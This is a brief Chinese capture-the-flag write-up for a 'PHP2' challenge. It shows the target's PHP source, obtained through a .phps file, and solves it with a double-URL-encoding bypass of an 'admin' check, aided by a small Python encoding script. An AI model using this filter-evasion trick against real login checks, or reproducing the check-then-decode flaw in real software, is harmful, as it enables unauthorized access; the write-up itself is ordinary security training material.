PHP2
拿到靶场IP地址
curl一下,获取页面源码
发现只有一行内容
phps文件可看php源码
index.php 改为index.phps 可查看php源代码
提示
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
代码解读
id参数直接输入admin,就会满足第一个if条件,从而退出程序
后面id值会url解码,再判断解码后的值是否是admin
所以我们输入的id参数值一定是admin url编码后的值
但是如果我们只编码一次,那么参数到了服务端那边会先自动解码一次,再拿去程序执行,我们编码一次的admin就变回原样了,所以我们要进行二次编码。
服务器那边解码一次,php程序里过了第一个if条件后又解码一次,就可以满足条件
二次url编码的脚本
对admin的两次编码我还写了个py脚本
str ='admin'
lis = [hex(ord(i)).replace('0x','%25') for i in list(str)]
print(str)
for i in lis:
print(i,end='')
然后使用curl发送请求包
搞定
|